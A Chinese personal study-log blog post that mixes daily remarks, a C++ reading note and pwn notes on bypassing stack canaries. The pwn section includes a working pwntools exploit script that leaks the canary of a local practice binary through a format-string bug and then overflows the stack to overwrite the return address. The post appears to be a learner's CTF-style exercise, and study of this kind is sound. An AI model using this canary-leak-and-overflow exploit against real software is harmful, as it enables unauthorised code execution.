C-L学习打卡(7.6)

今天又换了个地点学习,真是得百般适应,不过今天在车上在想,CPP好久没看了,并且昨日听了kk意见,换成机动休息日,不是一周一休了,感觉也挺合理。--7.6

7.6 To do list:

1.Pwn笔记整理

2.Cpp程序题 向下阅读10页

一:Pwn笔记整理

这是重新调整的cannary笔记,发现之前是根本没理解,说实话现在也有点不是十分清楚。

gdb调试的时候记得要提权

要不然会调试不了

canary每次运行,每次的值都会改变

这个是运用canary的程序

然后ebp-0xc存放了值

然后利用%k$p

用sendline默认会有个回车 要去掉回车就指定八位

exp.py

from pwn import * p = process("./printf") #获得进程 canary_offset = 8*4 p.sendline("%15$08x") #获取canary值 canary = p.recv()[:8] #指定八个字符,要不然sendline会有个换行 ret_offset = 3*4 print canary canary = canary.decode("hex")[::-1] #转成16进制,小端存储 exploit_address = p32(0x080484e6) #exploit地址 payload = canary_offset*'a' + canary + ret_offset*'a' + exploit_address p.sendline(payload) p.interactive()

从前可知cannary值再ebp-0xc

那么执行到printf时,我要用利用格式化字符串漏洞获取cannary值,然后就看printf下的栈情况(如上图)

esp到ebp-0xc的位置是15行,000到03c,一行四个字节,于是就%15$8x,这样打印

然后read函数读取到的数据会放在0xffffd53c这个位置,所以对应栈中的顺序,第二个payload先是8行到cannary再3行覆盖放exploit地址,程序直接就会成功pwn

二:Cpp

太久没看这书了,作者真写挺好,不愧是业界经典。

今天两个指甲甲沟炎包扎,花费了许多时间,还有泡芙和西瓜没有放到冰箱了,现在我得赶紧起身and明天不能睡到十一点多了,设了个十点半的闹钟,Siri声音莫名变了,不过不要想太多,快点休息。night.

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值